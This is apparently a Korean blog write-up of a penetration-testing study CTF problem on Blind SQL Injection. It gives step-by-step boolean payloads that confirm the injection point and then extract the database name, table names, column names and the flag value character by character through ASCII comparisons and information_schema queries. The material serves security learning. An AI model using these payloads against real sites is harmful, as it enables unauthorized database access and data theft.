이번 문제는 Blind SQL Injection에 대한 기본적인 문제이다.
1. SQL Injection point 찾기
우선 'normaltic'으로 검색해본다.
성공적으로 검색되는걸 확인할 수 있다.
그 다음 SQL Injection이 가능한지 알아보기 위해
normaltic' and '1'='1
을 작성해주고 출력하면
해당 결과를 얻을 수 있다. 이를 통해 SQL Injection이 가능하다는 걸 알 수 있다.
SQL Injection중 어떤 방안을 접근할 지 알아보기 위해 " normaltic' "를 실행해 보면
아무것도 뜨지 않는걸 알 수 있는데 이는 Error Based SQLi를 사용할 수 없다는 것을 알 수 있다.
normaltic' and '1'='2
해당 구문을 실행해보면
해당 결과가 나온다.
참 / 거짓에 대한 정보가 나오고 성공(참)일 때 DB 결과가 출력되는것이 아니기 때문에 Blind SQLi를 사용하면 된다.
2. Select 문구 사용 가능
Select 문구를 사용할 수 있는지 확인해 보기 위해
normaltic' and ((select 'test')='test') and '1'='1
를 작성해보면
정상적으로 출력되는 것을 알 수 있다.
이를 통해 Select 구문을 직접 사용할 수 있음을 알 수 있다.
3. 공격 format 만들기
공격 Format은 위의 내용과
2024.12.02 - [모의해킹/모의해킹 스터디] - 모의해킹 스터디 7주차 정리
해당 내용을 참고하여
normaltic' and (ascii(substr((__SQL__),n,1)) > m) and '1'='1
이렇게 구현하였다.
4. DB명 찾기
DB명을 찾는 구문은
normaltic' and (ascii(substr((select database()),n,1)) > m) and '1'='1
이렇게 작성하였고
normaltic' and (ascii(substr((select count(database())),1,1)) > m) and '1'='1
해당 구문을 작성했을 때 값을 '49'가 나온다. '49'를 ascii코드로 치환해보면 DB의 개수는 1개이다.
첫번째 글자는 'n'값에 1을 넣고 확인해보고 m의 값을 Binary Search를 해보면 해당 값의 ascii코드를 찾을 수 있다. 이를 문자열로 변환하면 첫번째 글자를 얻을 수 있다.
이걸 'm'이 0일때 거짓 출력이 나올 때 가지 해주면 DB명의 길이과 각 자리의 값을 알 수 있다.
5. Table명 찾기
Table명을 찾는 구문은
normaltic' and (ascii(substr((select table_name from information_schema.tables where table_schema='DB명' limit n,1 ),m,1)) > x) and '1'='1
이렇게 작성하였고
normaltic' and (ascii(substr((select count(table_name) from information_schema.tables where table_schema='DB명'),1,1)) = 51) and '1'='1
해당 구문을 작성했을 때 참이 나오는데 이때 '51'을 ascii코드로 치환해보면 Table개수가 3개인 것을 알 수 있다.
글자를 찾기 위해선 Table명을 찾는 구문에
- n: 0 ~ Table 개수
- m: 0 ~ Table 글자 수 까지
- x: 0 ~ ascii코드의 개수
를 참에 맞게 입력하면 flag와 관련된 테이블에 각 자리의 값을 확인 할 수 있다.
6. Column명 찾기
"flag"와 관련한 Column명을 찾는 구문은
normaltic' and (ascii(substr((select column_name from information_schema.columns where table_name='테이블명' limit n,1 ),m,1)) > x) and '1'='1
이렇게 작성하였다.
normaltic' and (ascii(substr((select count(column_name) from information_schema.columns where table_name='테이블명'),1,1)) = 50) and '1'='1
해당 구문 작성 하면 '50'에서 참이 나오는데 이때 '50'을 ascii코드로 치환해보면 해당 테이블의 컬럼 개수는 2개인 것을 알 수 있다.
글자를 찾기 위해선 Column명을 찾는 구문에
- n: 0 ~ 컬럼 개수
- m: 0 ~ 컬럼 글자 수 까지
- x: 0 ~ ascii코드의 개수
를 참에 맞게 입력하면 flag와 관련된 컬럼에 각 자리의 값을 확인 할 수 있다.
7. DATA 찾기
"flag"와 관련한 Data를 찾는 구문은
normaltic' and (ascii(substr((select 컬럼명 from 테이블명 limit n,1),m,1)) > x) and '1'='1
로 만들어 주었다.
normaltic' and (ascii(substr((select count(컬럼명) from 테이블명),1,1)) = 49) and '1'='1
해당 구문 작성 하면 '49'에서 참이 나오는데 이때 '49'을 ascii코드로 치환해보면 해당 컬럼의 데이터 개수는 1개인 것을 알 수 있다.
글자를 찾기 위해선 Data를 찾는 구문에
- n: 0 ~ 데이터 개수 -> 여기선 데이터 개수가 1개밖에 없으니 0만 넣어줘도 된다.
- m: 0 ~ 데이터 글자 수 까지
- x: 0 ~ ascii코드의 개수
를 참에 맞게 입력하면 flag의 각 자리의 값을 확인 할 수 있다.
'모의해킹 > 모의해킹 스터디' 카테고리의 다른 글
모의해킹 스터디 CTF 문제 - SQL Injection 4 (0) | 2024.12.06 |
---|---|
모의해킹 스터디 CTF 문제 - SQL Injection 3 (0) | 2024.12.04 |
모의해킹 스터디 CTF 문제 - Error Based SQLi Basic (0) | 2024.12.04 |
모의해킹 스터디 7주차 정리 (0) | 2024.12.02 |
모의해킹 스터디 CTF 문제 - SQL Injection 2 (0) | 2024.11.27 |